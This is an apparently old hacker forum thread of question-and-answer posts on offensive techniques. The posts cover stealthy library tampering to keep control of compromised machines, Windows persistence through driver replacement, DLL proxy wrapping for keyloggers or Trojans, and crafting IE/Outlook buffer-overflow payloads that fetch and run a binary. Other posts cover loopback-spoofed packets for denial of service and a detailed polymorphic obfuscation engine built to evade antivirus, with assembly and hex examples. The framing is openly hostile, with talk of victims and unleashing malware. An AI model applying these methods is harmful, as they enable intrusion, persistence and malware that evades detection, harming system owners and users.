structure that your first visible hack will result in a restore from backup,
and the system stays up for your second. I even saw one system get busted month
after month for 8 (EIGHT) months - right till they got rid of the admin and the
new admin decided on a change of OS.
Ahhhhh, Patience young grasshopper(s) : )
================>
Did I miss something here..what if the tripwire is used to "watch" the
compromised PC once it has been returned to working status? If the person
responsible for the tripwire is competent they will have a known good set of
polices etc to work from. Once the changes are made alarms will go off.
If there is a tripwire then presumably there is the possibility of identical if
not fairly similar host systems. Would not a reasonable admin distrust the
validity of file changes from a previously compromised box and verify against a
safe system?
Also how will it be determined if you are not being honey potted?
You are right, most will not have the time and may resort to backups.
3oz90re
================>
================>
Yes surely if tripwire was watching the various libraries within the compiler
then after the first initial compromise - the one that got the alarm bells
ringing - the admin will be able to see that the files have been changed - hmm
unless of course changes where made whereas the file size stays the same, some
obscure error routine could be taken out for example?
H||JinX
================>
> Yes surely if tripwire was watching the various libraries
> within the compiler then after the first initial compromise -
> the one that got the alarm bells ringing - the admin will be
> able to see that the files have been changed - hmm unless of
> course changes where made whereas the file size stays the
> same, some obscure error routine could be taken out for
> example?
IF : )
Well, I think you will find that most don't count the libraries as particularly
important and generally unmonitored - contrast this to the password file where
you sure are going to ring a few bells (Possibly nice silent ones - They're the
worst <G>)
Now, as for ringing alarm bells, your aim is NOT to. If you ring a bell you
lose - Rooting a box should be done gently, and after it is done its pointless
running straight at the password file, the password file has always been a
secondary objective for me - and always (On a secure system) screams when you
touch it.
Instead look at the libraries ... these have power of life and death over a
system and are always the soft target ... and, if used as outlined above with
gentle hands and lots of patience, you can make any box into an open door.
As long as you don't go lolloping through the system with your big ol' muddy
boots on - grabbing the passwd file and killing administrative terminals you
shouldn't force a complete analysis of the system ... time to back out quietly
and leave the box to slowly go bad.
Logs are always a problem, always assume they are stored offline ... but, lets
face it, a library file doesn't jump off a printed page and smack you about the
face shouting 'HEY, LOOK AT THIS' ... well, not quite in the same way the
password file does.
--=[ Boot sequence of apps within windoze ]=--
Damn I need sleep badly : ) And, yes, I completely forgot about
your request ... I will give a simple account here, and maybe
try to write a definitive sometime for the various OS versions.
Well, (And ignoring any MSDOS procedures such as the config.sys io.sys
msdos.sys and autoexec.bat) very briefly after win.com you have ...
vxd layer 0 (Your device drivers)
... which loads before the windows desktop is initialised, the API functions
pass requests down to this layer which converts everything into a
hardware/firmware compatible form. These don't have windows forms or controls
(Although they can interface with external entities that do), don't appear in a
task list, and have no innumerable thread or process ID's.
This is, without a doubt, the best place to run a hidden application ...
however, .vxd code is a little more tricky to write - Suggested reading (The
Microsoft DDK 'Driver Development Kit')
Installing a .vxd device also has problems. I suggest replacing 'bios.vxd' as
this is no longer needed except by certain retro-tech (Particularly the very
old IBM motherboards)
But you can find your own ... As always, wrapping an existing .vxd to
extend/alter its functionality is possible and desirable - just remember that
you should only ever play on the WINDOWS side of the old .vxd .... never play
on the HARDWARE side - as you are bound to hit problems.
Also remember that .vxd's tend to get swapped in and out by windows hardware
wizard, and therefore should only be viewed as a temporary low-level measure
... you need to take special precautions against .vxd wrapper replacement
(Unless, as I suggested, you replace bios.vxd or similar - as this will never
be replaced under normal operation)
Once the layer-0 is in place the windows API piles in on top and the desktop
environment is initialised ... don't mess with this or your code will be OS
Version specific.
Once the desktop is initialised and while it is becoming active (But before a
user logs in) various services are called ... these services remain after a
user logs out ... they are termed 'persistent services' and have the feature
that they don't show in the tasklist (Although they DO have innumerable thread
and process ID's - and may own windows and controls)
You may have seen the RUNSERVICES/RUNSERVICESONCE registry entries.
After the user logs in you have the RUN/RUNONCE registry entries
You also have the Start-up folder
After this point file execution depends upon requests, settings and
associations.
For example ... many programs think its really clever to hook the 'open'
function of the 'exefile' file type '.exe' in registry under HKEY_CLASSES_ROOT
... however, its wise to remember that a well constructed socket guardian will
be operating before this will ever occur, and thus leaves no opportunity to
open a connection before the protection loads.
Remember that win.ini's 'load=' 'run=' and 'drivers' are really only there for
compatibility and will be lost in future versions - All of these functions can
be equally handled by the registry.
If I had to execute code before any security loading I would always consider
the .vxd approach as windows views it as being there since the dawn of time : )
Just remember that when it first initialises windows is not ready to serve any
higher functions - so some patience may be called for till the system is able
to process any higher-level calls.
Obviously, in *nix the start-up sequences are pretty much open to view, and
commented throughout the boot sequence.
Okay, Give me a bed or give me a gun ... I don't care which.
================>
Question: how can I replace bios.vxd (or any other driver) if I don't know
what's in it? Where can I find the source for drivers like that? The same goes
for the windows DLLs - where on earth do you find the source for these things?
Or were you just talking about making the changes in assembly (ugh - there are
only 24 hours in a day...)
-rotary
================>
bios.vxd can be safely removed and replaced with a new .vxd of entirely your
own design - its a component with actual use anymore : ) Since you will be
entirely replacing it with your own code you don't need its source.
As regards replacing windows .DLL's I suggest strongly that you don't even try.
Instead of modifying them, try wrapping their functionality as follows ...
Rename blah.dll to blah16.dll
Now create a blah.dll of your own ... For each exported function of blah16.dll
create an equivalent function in your new blah.dll.
Now blah.dll and blah16.dll house the same functions - however, in blah.dll
these functions are currently empty and do nothing - and in blah16.dll these
functions do what they are supposed to.
Now link them together as follows ...
When blah.dll(fake) is first loaded - it loads blah16.dll(original). Whenever a
function in blah.dll is called, it calls the equivalent function in blah16.dll
and passes the parameters on to the real DLL ... when the real DLL returns a
value to your DLL, your DLL returns the value to the calling application that
loaded you ...
In effect you become a middleman ... passing function calls forwards and
passing return values back ... the applications that use your DLL will assume
you are the real .DLL (In fact, there's nothing to indicate that you are not,
except your reduced size)
So ... if your slim application receives a call to a function called 'hello'
which takes 2 integers and a handle:
The original DLL's handler looked like this ...
BOOL hello(int iXPos, int iYPos, HWND hWnd)
{
BOOL bResult;
[DO SOMETHING VERY IMPORTANT]
return bResult; // Return a true/false success indication
}
However, you have included the DLL in your code, and have imported the REAL
hello(); routine as o_hello();
So ... when the application asks for hello(1,2,1234); in library blah.dll - it
gets passed to your code ... which behaves as follows ...
BOOL hello(int iXPos, int iYPos, HWND hWnd)
{
// Pass this @!#$ to the REAL DLL, cus we are a middleman
// and return whatever IT returned.
return o_hello(iXPos, iYPos, hWnd);
}
Do this for ALL of the exported functions in the original DLL ...
BOOL hello (int iXPos, int iYPos, HWND hWnd)
{return o_hello (iXPos, iYPos, hWnd);}
int something (LONG lFirst, LONG lSecond, hWnd)
{return o_something (lFirst, lSecond, hWnd);}
etc ...
Till you have a table of dummy functions that call real functions imported
from the original .DLL
The original .DLL is now 'Wrapped' by your own DLL ... your DLL becomes an
interface for the original interface : ) Get it ?
Now, in your DLL's initialisation code you load the original DLL and map all of
its functions to the o_ function pointers ... and when your original DLL is
unloaded, you also unload the original DLL.
Great - now you have a wrapper for a standard windows .DLL, a bag inside of a
bag : )
The advantages are, that you can now see/intercept/modify any calls made - for
example, you can wrap the o_MessageBox function (Which displays a message in a
pop-up dialogue) inside a check, to make sure that dialogue boxes that say
'unregistered' don't get shown (Thus removing some annoying nag)
Also ... you may choose to leave all the functions alone and unfiltered ...
and instead add some code to watch the key-presses, or maybe add a Trojan.
Now, do you see why knowing the code of the original DLL/VXD is not necessary ?
We are not altering it in any way - we just push it aside and become its
secretary (A form of sub-classing) : )
================>
OK, cool. Only problem left is, now I have to know ALL the exported functions
in the DLL (and the parameters) - does the MSDN library cover this? Can you
give me a hint where to look, I can't seem to find anything specific, but then
I always have trouble finding what I'm looking for in MS docs...
-rotary
================>
Well, I'm guessing you use visual tools ...
You should have something called 'dumpbin.exe'
Microsoft (R) COFF Binary File Dumper Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
usage: DUMPBIN [options] [files]
Options are ...
/ALL /ARCH /ARCHIVEMEMBERS /DEPENDENTS
/DIRECTIVES /DISASM /EXPORTS /FPO /HEADERS
/IMPORTS /LINENUMBERS /LINKERMEMBER[:{1|2}] /LOADCONFIG
/OUT:filename /PDATA /RAWDATA[:{NONE|BYTES|SHORTS|LONGS}[,#]]
/RELOCATIONS /SECTION:name /SUMMARY /SYMBOLS
Try the /EXPORTS option, should list them all : )
I think that's the tool you need to show all the exports from a .DLL,
Personally I use my own tools and I rarely touch visual products *cough* *spit*.
If it doesn't give the parameters and returns use the MSDN cd SDK or an API
Ref. Or just look at the code : )
--=[ Buffer overflows using images ]=--
How do you chain in the binary image from a URL and execute it using a buffer
overflow in IE or Outlook (in order to send someone a file and execute it)?
Also, how can I protect my system from this?
-rotary
EXPLOITING ...
It varies with each OE/IE hole ... and the technique is the same with other
applications also.
Its quite a big subject to write a 'howto' on, however the published exploits
often have 'proof of concept' code that can be adapted to other buffers.
Firstly, forget VB, C++, and just about everything else ... you need ASM, only
ASM gives you the code control and small size you will need when pushing
'sploit code through heap or stack 'flows
First write your payload, it should grab a URL resource to a file (Possibly
using a .vir extension as these are less likely to be checked by certain
popular AV's) And then execute as a binary (You can use the winAPI to execute
ANY extension type as a .exe as long as it has a valid exe header)
Now, your code will probably include 0x00 0x10 or 0x13 bytes, and these may be
bad because they may terminate the buffer early (application dependent) you may
even have to handle spaces '0x20' specially if they would upset the buffer or
become 'translated' as in URLFormEncoded strings ... as you see, working out
the permissible characters of your overflow requires a knowledge of how the
application breaks its input into chunks (There's even a ':?&' problem with the
latest 5.5 overflow - so, these too need to be eliminated)
Your code probably already has some bytes that upset the buffer ... So, you now
have 2 choices ... either alter those parts of the code so that those bad bytes
are removed (Easier said than done) or, far easier, add a header that will XOR
the body prior to the execution pointer getting to it, this will allow you to
choose an XOR value that removes all these bad bytes without introducing others
: )
You now probably have the following ...
[XORing HEADER][XOR'd payload]
... and it executes nicely : )
Remember, we have to overflow the buffer in such a way that it deposits our
code neatly over a parser or error-handler routine (Preferably for the same
buffer, because then we know it will be executed almost immediately)
Now, the work is not over yet, you will see that your buffer (When treat as
shown in the 'sploits published description) overflows and starts to overwrite
application code. But, that's not good enough ... we need to precisely align
our codes beginning point with an safe point in the applications code ... if we
lay it halfway through a sequence of bytes that form an instruction (Thus
splitting the instruction) all we will get is a nasty crash so we need to align
it 'nicely'.
Imagine we have the following application layout ...
[128 byte buffer][30 bytes of other data][2 zero bytes to word-align
following][an error handler]
We need to fill the buffer, overwrite the other data and the zero bytes and
then place our code, neatly overlaying an error handler (Which is soon to be
called because we've garbaged the buffer)
so, we (over)fill the 128 byte buffer with ...
[128 bytes to fill the buffer with something that will cause the error-handler
to be executed][32 bytes of NOP's][our XOR decrypter][our payload]
now the error-handler is overwritten with our code, and will be executed real
soon cus we just caused a code irritation.
Methods for buffer overflows vary greatly, but this is a basic heap (memory)
one ... others involve dumping parameters on the stack followed by an address
of a code entry point ... when the currently running routine returns it looks
on the stack for the address of the place it has to return to ... this address
has been replaced with a function that takes stacked parameters ... when the
current routine returns it causes a utility routine to be executed, which then
takes the bytes off the stack and treats them as its parameters ... you can
cause mayhem this way, just make sure your code completes synchronously because
as soon as the stack unwinds the execution is most likely gonna wander off into
J-Space and cause an almighty exception.
I suggest getting a decent real SxS (Step by step) debugger that will allow you
to go through the code one byte at a time examining all the changes ... this is
useful for testing/finding exploit code.
If you can't immediately find an exploitable hole just persist. All versions of
OE so far (And all but 2 minor versions of OE) have got exploitable holes ...
most of these generally become published after the hacker has found something
better or has patched his own box (Or immediately if found by the
rootshell/bugtraq/etc... boys)
PROTECTING ...
Protecting against the known buffer overflows is simply a case of changing your
application version to a less susceptible one, or waiting for the eventual
vendor hotfix.
Unfortunately this does nothing for the unpublished exploits, of which there
are many.
To protect against unpublished exploits you should run anything connected to
the net from within a 'wrapper' ... the wrapper will shield the application
from direct use of winAPI calls, disk access, hooks, DLL's and interrupts.
All calls to access files outside of the applications permissible area (Its own
directory tree/temp folders/its own cache ... etc ...) will fail. All API calls
are restricted to those imported explicitly in the applications code (dumpbin
shows these) ... this prevents any rogue inserted code from doing anything
nasty ... etc ...
Personally, I wrap ALL networked applications this way - however, this is
beyond most users, and M$ hasn't thought that far ahead yet although I'm sure a
wizard will one day come *grin*.
--=[ Sending packets over packet switch network ]=--
================>
Is there a way to send an IP packet over a packet switched network to a remote
host with the packets destination address set to the hosts loopback address,
without first connecting to the host and then starting a new connection from
the host to the host?
-sh047y
================>
Sending a packet to a remote using the remotes loopback as the packets
destination ? Are you sure that's what you meant to ask ?
Since all devices on the network will have non-unique loopback addresses then
your packet won't reach its destination.
For example ...
Say, 192.168.0.1 to 100 all have a loopback address of 127.0.0.1
To send a packet to 192.168.0.55 on a TCP/IP network, you would HAVE to set
192.168.0.55 as the destination address in the packet. Setting 127.0.0.1 as the
packets destination in the header would NOT get it to its intended destination,
and would most probably just loop it back to your own device.
I presume you have mixed 'destination' and 'source'
To send a packet to a destination and have the packets SOURCE misquoted as
127.0.0.1 so that the destination believes it originated the packet itself is
quite easy and has been the subject of many denial of service attacks that
cause a remote protocol to lock up in an intense reply-reply-reply-reply with
its own loopback.
To do this just create a UDP packet as normal, but in the 'SOURCE' field use
127.0.0.1 instead of your own devices unique IP - You will see many examples of
this in various DoS sources.
Since I don't advocate DoS I will not elaborate further, but the sources are
out there for such attacks - but, really ... if you are capable of creating a
UDP datagram then you are capable of modifying it to use 127.0.0.1 in place of
your own network IP.
Word of warning: most firewalls are set to discard UDP packets originating from
a loopback address
Tip: these firewalls will often allow the UDP if instead of using the loopback
token IP you use the destinations unique IP (source and destination are the
same) - But don't count on it.
thank you for your answer but there was no mistake. I did actually mean setting
it's destination address to the targets loopback address. I fully understand
the complexities involved considering the nature of packet switched networks.
Maybe it would in fact be possible to accomplish the task by first compromising
the switch that the target is connected to and configuring the switch to send
any traffic that has it's destination set to a loopback address, to the targets
port on the switch (in addition to any legitimate packets going to the targets
real network address). The attacker will have to make sure that their own
loopback address is different from the targets so the packet will at least make
it out onto the network. I'm just rambling now. I realise this is theory but
what do you think?
Well, yes ... its possible. But the methodology depends very much on your
network topology and what degree of access you have to it.
A secure network will discard those packets as erroneous, so should the remote
stack, so should any firewall ... so getting around the switching could prove
to be one big pain in the a55.
But, yeah ... its possible.
================>
Well, if you try this on Linux Boxes with an Ethernet inteface..no chance boy!
There's no way to do this, i.e. you can try SOCK_RAW or SOCK_PACKET, you will
not be able to create such packets. of course , you will be able, but the will
not do what you want them to do. forget this idea..
-natranel
================>
'no way' to do it? Ahhh, then you are one of those people that believe in
'100% secure boxes' : )
Such a bold sweeping statement is a little ill conceived when the original
poster mentions the possibility of compromising the remote users switch. Once
you include compromising the physical network *all* things are possible ...
With the possible exception of licking your own back.
First there's the switching firmware, you can make that do almost anything ...
many penetrations have been effective after a bogus engineer replaces some
switch at a point of the network ... is it a switch? or is it a firmware
databug? The answer can only be found in firmware. So, how about starting there
- I can make a lowly Kingston KNS400/R do things you wouldn't believe ... hell,
I can even create a simple webserver within one, and the best news is its
promiscuous and at a key point in the topology.
Remember, we have surface-mount self-contained micro-controllers with 2
embedded Ethernet cards and the whole package is smaller than your thumbnail ...
a dongle? a filter? You decide. A device that sits completely inside a doored
Ethernet connecting point and STILL allows the door to snap behind it is not
only possible, its already available.
Hell, two chips can be programmed in Java fer'christsakes, in situ or via a 2
wire direct interface. See? Firmware for high-level idiots. The points to be
noted are that networks can be made to misbehave very easily. And people
blindly trust the hardware.
Secondly, the OS is -not- an issue, the question is about getting the packet to
the card over the network ... it has already been explained about the
unlikeliness of a remote to pay any attention to loopback packets from the
network.
Merely getting the message there is not a problem given the 'compromise the
switch' scenario the poster suggests. Otherwise I would say the same as you,
forget the idea.
And, before someone inevitably tells me that I'm talking rubbish ... I suggest
getting maplins electronics guide and looking at the number of embedded
micro-controllers available and their on-board facilities ... then meditate on
the fact that FOUR times now LloydsTSB Banking Plc. have found firmware Trojans
in their physical layer.
--=[ Auto-obfuscating code ]=--
: 03-31-01 09:21
Definition: (Obfuscation) is the art of making something (In this context, a
list of instructions) more complicated than it needs to be, till it becomes
almost impossible to understand the ultimate result by simple analysis.
Definition: (Redundancy) In this context, anything that is surplus to
requirements or has no effect on the ultimate outcome. (1. Take candy 2. add 5
numbers together and throw away the result 3. forget you ever did the
calculation 4. roll your eyes 5. eat candy) The ultimate result would be to get
some candy and eat it, steps 2 through 4 are of no consequence, so the
instructions are 60% redundant.
The Problem with encrypting/polymorphism against AV
===================================================
(I'll be brief here because I covered the description of the basic problem
elsewhere...)
Okay, say you have some code you want to keep hidden, maybe its known to
antivirus vendors already, or you plan to unleash something completely new that
will at some point attract the attention of an AV vendor. (I will assume you
know how viral signatures work)
Now, if an AV product can see its byte signature then you immediately lose its
stealth and it gets thrown onto the scrap heap as a program that only works
against dumb asses (see Michaelangelo, SUB7, BO, Exebug and almost everything
else)
You could re-encrypt your program each time it runs (Even something as simple
as a bitwise XOR to flip specific bits in each byte)... but encrypted .exes
can't be run, so you need a decryption header. And the decryption header MUST
be machine executable (i.e. NOT encrypted) or else, once again, the program
can't be run ... and once again we arrive at the problem we had before ... the
AV Vendors will just draw their AV signature from the header because the
encrypted tail changes but the header must remain unencrypted.
So, we need a way to encrypt and re-encrypt an executable file in such a way
that it remains executable, yet the executable is dynamic and offers no
recognisable byte-sequences for the AV vendor to exploit. But how to make an
executable unrecognisable but still executable? Virus writers have never
managed this simple trick, so right here we unleash a potential demon ; )
------------------
LETS BEGIN ...
------------------
BASICS
======
Say we have a piece of 'nasty' software which includes the following code
(ASM) ...
CLI
PUSH CS
POP SS
MOV SP,0612
STI
PUSH CS
POP DS
PUSHF
PUSH AX
CS:
MOV AL,[0614]
TEST AL,80
JZ 01F8
AND AL,7F
CS:
CALL FAR [012C]
POP AX
POPF
JMP 0161
each instruction is represented by a byte followed by a few bytes of parameters
or modifiers, so each line above generates one or more bytes.
One byte instructions ...
FA = CLI
0E = PUSH CS
17 = POP SS
Two byte instructions ...
A880 = TEST AL,80
7407 = JZ 01F8
Three byte ...
E95EFF = JMP 0161
Four byte ...
FF1E2C01 = CALL FAR [012C]
In fact, the whole code fragment shown above looks like this to your hex-editor.
FA0E17BC1206FB0E1F9C502EA01406A8807407247F2EFF1E2C01589DE95EFF
Now, lets say that an antivirus vendor decides to make
'0E17BC1206FB0E1F9C502EA0' (12 bytes, 8 - 14 is typical) into an Viral
signature that will identify this code. Fooling the AV by hand was always quite
simple ...
1. You will notice that the signature spans quite a few instructions, and
therefore we could fool it by swapping the order of two instructions manually
(Providing the instructions don't care about their order of execution - These
do!)
2. We could insert a NOP instruction (A single byte that does nothing) in the
middle of the code and then recompile the code (A little more complicated but
still fools simple AV) However, it requires a recalculation of all the
addresses which will now be offset by 1 byte (And some things that have to be
aligned on a word boundary will fail)
Again, not something you can easily automate, and only a few possible sequences
result.
3. Many other ways, including surrounding a 'non-stack using' instruction with
a PUSHF/.../POPF etc...
But all this would do is create a slightly different version of the code, which
is shielded against THAT signature ... other AV vendors have chosen other
signatures, and sometimes AV vendors decide to change the signature they are
using to encompass more than one variant. To make this technique valid we would
have to change ALL of our code (i.e., treat every section of code as if it was
a recognised AV signature) and that's one painful task. And not exactly viable.
The second problem is, that someone will spot our program, and suddenly, all
those new byte sequences we created will now become known to the AV vendors and
we will get our very own signature.
So, we need the program to regularly change almost every byte of the code
automatically, leaving no room for prediction. But, without writing a
disassembler and lugging it around with us we can't even know what is code and
what isn't ... in fact, we wouldn't even be able to tell where the gaps between
instructions. We'd need a damn AI.
FA 0E 17 BC1206 FB 0E 1F 9C 50 2E A01406 A880 7407 247F 2E FF1E2C01 58 9D E95EFF
In memory we don't have spaces to show where each instruction starts and ends,
so we end up with a jumble of bytes, and without knowing each instruction and
the number of bytes that should follow it - or whether two instructions can be
interchanged - we can't hope to separate this jumble back into its separate
instructions (We would need to be a disassembler for that)
Sooo ... We need the program to scramble itself using real instructions or
transformations that leave it in an executable state, but with no byte
sequences that could possibly be predicted. And without causing an error in
code. Problem is, HOW?
SOLUTIONS
=========
Some of the explanations are somewhat circular, so its best if we start with a
view of the finished AV-Proof program and then break down how and why it works
...
The program has 2 main sections ...
[DECRYPTION HEADER (Obfuscated)]
[Key]
[encrypted body]
The encrypted body obviously can't hold a viral signature since its
re-encrypted each run using a random value ... The header (Which decrypts the
body before execution) is obfuscated, it can't hold a viral signature of more
than a few bytes due to the completeness of its obfuscation ... this also
changes each run.
The key, is group of random value(s) used to perform the simple bitwise
decryption of the body. The key could also be classed as a data entity within
the header, but its easier and just as secure to leave it out here.
The encrypted body consists of ...
[The obfuscation engine]
[The code to be delivered]
[A plain version of the header]
[An obfuscation table]
Notice, we hold a plain version of the header, because otherwise out header
would become more and more obfuscated with each run ... and eventually would be
too big and clumsy since we can't DE-OBFUSCATE easily (That's the power of
obfuscation - it would take an AI to work out what's real code and what's just
simply the packing garbage)
The obfuscation engine is some code which builds a new obfuscated header from
the stored 'plain version' using the stored 'obfuscation table'
The obfuscation table is a table of code snippets that do NOTHING, nothing at
all ... some are large and convoluted, some are small, and some are tiny (one
or two bytes)
The obfuscation table looks like this ...
[Index of BIG do-nothing code]
[Index of SMALL do-nothing code]
[Index of TINY do-nothing code]
Here's what happens at run time ...
1. The header decrypts the body with all of its tables.
2. The plain body is then copied and re-encrypted (simple bit-logic) using a
random value
3. The obfuscation engine is run
4. The obfuscation engine obfuscates the plain header using the obfuscation
table of useless code
(Using a special multi-pass technique explained later)
5. The new header and body replace the original executable as a new version
(Using create, delete and rename rather than direct .exe modification ... to
avoid problems with heuristic AV methods)
6. The payload code is delivered
That's a complete cycle ... the program is run, re-scrambles its header,
re-scrambles its body, self modifies and then delivers its payload.
Workings of the multi-pass obfuscator ...
========================================
Now, lets see how the multi-pass obfuscation engine actually works ...
Remember, it has the problem of knowing where the SIPs (Safe Insertion Points)
are within the header code ... it needs to know where the gaps between
instructions are, and also, as it inserts garbage it must track the
jump-addresses.
We make its job simpler by using a nice open format for storing the 'plain
header' and the 'obfuscation code'
Remember how our ASM instructions occupied 1, 2, 3 or 4 bytes ?
Well, you can do anything using instructions that use 4 bytes or less ... there
ARE convoluted instructions such as:
802614067F AND BYTE PTR [0614],7F
(5 bytes)
But, these can be broken down into a couple of separate instructions that use 4
or less bytes ... so, we don't use these, we write our decryption routine to
use only instructions of 4 or less bytes ... (Trust me, its NO hardship)
Then we 'word align' the instructions ... a word is 4 bytes in this 32bit
context, so we will store our instructions so that each occupies 4 bytes (Pad
any space with a NOP or an invalid instruction byte ... none of the
instructions in our header use AA as the instruction opcode (first byte) - so,
lets use that for our padding.
So, our plain-header was:
FA 0E 17 BC1206 FB 0E 1F 9C 50 2E A01406 A880 7407 247F 2E FF1E2C01 58 9D E95EFF
it is stored as:
AAAAAAFA AAAAAA0E AAAAAA17 AABC1206 AAAAAAFB AAAAAA0E AAAAAA1F AAAAAA9C AAAAAA50
AAAAAA2E AAA01406 AAAAA880 AAAA7407 AAAA247F AAAAAA2E FF1E2C01 AAAAAA58 AAAAAA9D
AAE95EFF
And format (Referred to as 'word aligned form' this makes it easy to identify
where our SIP's (Safe Insertion Points) are, the spaces between instructions
are clear, we can insert code at any 4th byte.
Now, remember the obfuscation table? It had large, small and tiny fragments of
code that do nothing ... these fragments are ALSO word aligned, so that even
after inserting chunks of garbage we STILL have the 4-byte alignment schema.
The Obfuscation Passes ...
==========================
<note>
In these diagrams each letter signifies a WORD that is either:
'H' part of the header
'L' some garbage of the LARGE variety
'S' some garbage of the MEDIUM variety
'T' some garbage of the TINY variety
'( )' braces used for emphasis only
</note>
The copy of the plain header is currently lucid and free of redundant garbage
... its words are ALL instructions of the plain header
(HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH)
Now, we make multiple passes of the header, inserting LARGE do-nothing garbage
between random words.
H(LLLLLLL)H(LLLLLLL)H(LLLLLLLL)HH(LLLLLLL)H(LLLLLLLL)HH(LLLLLLLLLL)H
Now we make a pass using random elements from the SMALL garbage index, and
placing them at random word-aligned points.
HL(SSSS)LL(SSS)LL(SSSS)LLHLL(SSSS)LL(SSSS)LLLHLL(SSSS)LLLLL(SSSS)LH(SSSS)HLLLL
(SSSS)LLLHLLL(SSSS)LL(SSSS)LLLHHL(SSSS)LLLLL(SSSS)LLLLH
We may wish to repeat this pass.
now we make a very closely spaced pass from the TINY index, 2 bytes average
random spacing (4 bytes maximum spacing), with sequences using 1, 2 or 3 bytes.
This ensures that none of the 'small' sequences remain intact, and the only
predictable sequences are 4 bytes long maximum.
(T)HL(T)L(TT)LSS(T)HLH(TTT)SL(T)SLLS(TTT)HS(TT)LH...
I prefer to weight my passes to achieve the following typical ratios (Based on
average spacing and average code-snippet size):
1 LARGE pass will dilute the code and increase header approximately x8
2 SMALL passes effectively double the code length
1 TINY pass effectively doubles the code length
Giving me an average x32 size increase on my executable (I know, I know ....
but hear me out! <G>)... i.e., for every 32 instructions only one actually
results in an overall change, remember that from end-to-end your code snippets
must not alter anything, not the stack, nor the flags, nor the registers ...
they must only find interesting ways to consume cycles : )
Recalculating jumps is easy as they are all relative (You ensure this when
writing your decrypt routine) and instead of storing a JMP as a forward or
backward byte count, you store them as a backward or forward instruction count.
i.e. ... Jumping backwards 3 instructions would be a -3, forward 5 instructions
would be a +5, These are so easy to manage as we insert garbage words between
the instructions we just add the size/4(number of words) to the size of the
jump (We don't worry about the number of bytes in each instruction yet)
Finally comes the deflation phase,
Remember we word aligned our instructions by padding them in order to make the
insertion points between instructions easy to predict even while we were busy
obfuscating? Well ... here's the simple deflation
We just start at the beginning of our buffer holding the newly obfuscated
header, and progress to the end in word increments. Each time, we read four
bytes, discarding all AA's until we meet a NON-AA, and after our first non-AA
any other AA's encountered in the word will be kept (As it is obviously part of
the instructions parameters)
i.e., We throw away all the leading AA's and the whole thing gets compressed to
a nice machine executable format.
So .... our proprietary working format (word aligned SIP's) ...
AAAAAA17AABC1206AAAAAAFBAAAAAA0EAAAAAA1FAAAAAA9CAAAAAA50AAAAAA2EAAA01406AAAAA880
... deflates to ...
17BC1206FB0E1F9C502EA01406A880
... And once again, a true executable format (Although now it would include so
much random redundancy its almost impossible to follow) But, hell ... its only
job is to decrypt our newly re-encrypted body, and that's not timing critical.
Using this method I have had my header (Plain & deflated = 54 bytes) vary
between 987 bytes and 2068 bytes ... but that's because I use crazy passes to
create several layers of nested redundancy, I could just as easily aim for an
average 400% growth instead of an average 3000-3200% growth. I guess I just
like testing this stuff to its limits.
The only problem to watch out for is, splitting it up so much that a jump goes
out of bounds ... remember never to use short jumps in your code unless you
ensure that the maximum possible inflation wont push these JMP's beyond their
bounds. Oh, and remember that during the deflation phase you have to keep a
count as you destroy the word structure, so that you can correct the jumps
from WORD to BYTE.
Hope you see how that works, and appreciate how we use the big passes to break
the header up, the small pass to obliterate the big passes, and the tiny passes
to make sure that we leave no more than 4 bytes standing (Where an instruction
is 4 bytes) and no more than 3 bytes standing anywhere else (Maximum size of a
TINY do-nothing)
WARNING
=======
This will ONLY safeguard your header (And thus the encrypted payload while
wrapped and when first scanned on execution) ... during run-time your payload
will be visible in memory, to avoid this you must use a mildly obfuscated (one
TINY pass only) neutral instruction thrower to run your payload without
de-protecting more than 8 bytes at a time.
If anyone thinks they could make sense of an instruction thrower then let me
know and I'll describe how to incorporate an instruction thrower to get that
.exe running in memory without decrypting it (Thus foiling the AV's explicit
memory scan too) ... the thrower completes the project but is a little more
complicated to explain ; )
Phew, another ridiculously long post : /
================>
Another EXCELLENT tutorial, and some mind-boggling methods used there too may I
add.
In the older virus files, I decided to see how to update them - simply - so
they wouldn't be detected, and found that by replacing all the "int 21" calls,
to call a single "int 21" was VERY effective, example;
mov al,4ch
int 21h
Would be modified to;
mov al,4ch
call tula
..
..
tula: int 21h
ret
Then, I went on to revert back to my day-old 6502 style of assembling.
"xor al,al" is commonly used, however, this could also be written as "and al,0".
This instruction could be modified, by a random generator, to "mov al,0" - thus
making the code different. THEN, on the longer words "mov ax,4301", could be
written in a variety of ways;
and al,0
ora al,1
mov ah,43
or
mov al,1
mov ah,44
sub ah,1
etc. etc.
Okay, so it's not "tight" coding - but in this modern system, you can be
forgiven to make your code 10k over what it could have been. By using 3 lines,
you can create your very own polymorphic engine.
A point I would like to raise, is that many current AV's already work-around
the simple [first part decrypt] method.
A more harder to crack - and indeed, write - is to use a simple XOR string
which is XORED by the byte PRECEEDING the current byte you are encrypting, thus
in the loop, it's pretty damned next to impossible to unencrpyt successfully
without executing the file itself.
I know that these methods are synonymous with VX programmes, but I've found
them in many a file I've cracked.
(And much thanks to my beloved for correcting some of my BAD spelling ;))
-WarlockTMM
================>
Yup, Good points on creating new versions of known viral/Trojan code ... they
are classic techniques ... but the problem remains that all you do is create a
new version, and that new version will have a potential signature.
This means, that once someone hands it to the AV vendor, it will become known
as a subversion in its own right.
Even polymorphics still have a decryption header that can't be self-encrypted
because if it was it would require a header (which cant be self-encrypted
because if it was it would need...)
See the circular argument ?
I don't care how good the polymorphism or encryption ... hell, you could even
PGP your code and use a PGPdecrytion algorithm as the header ... it makes your
code almost impossible to crack - but the new AV signature will use your header.
No matter how you try - the code at the entry point for your program MUST be
plain old executable. Otherwise you gonna get caught by AV and your program
will become 'known' and 'recognisable' ... and the first you will know about it
is when all your 'victims' suddenly are clean and very angry.
You NEED a method whereby the program can encrypt/obfuscate 100% of itself,
leaving not even 1 byte in a predictable position, or any 2 instructions in a
predictable order ... this leaves NOWHERE for a signature.
The obfuscation principle defeats file AV by making EVERY byte of your code
dynamic, so that NONE is recognisable. And the throwing idea makes sure that no
more than one instruction is unencrypted in memory at any one time (Thus
defeating the memory scan too) ... or, you could just make the whole program
obfuscated (Header and payload are one section - only plain header and obf.
table is in the encrypted portion - all else is obfuscated.)
No AV solution can currently add these to its database ... in fact, we had a
hard time developing tools to find it ourselves, we can find the debugging
version ... but the final escaped us many times in testing so now we insert a
special marker that wont obfuscate during testing, and remove it after
completion.
I understand your points on polymorphism and encryption ... but still, leaving
a portion of static header code at the mercy of the signature finders is the
problem with conventional polymorphism ... its ineffective. And, manual
alterations will just create a new version that will, in time, become just as
vulnerable to AV as its predecessor.
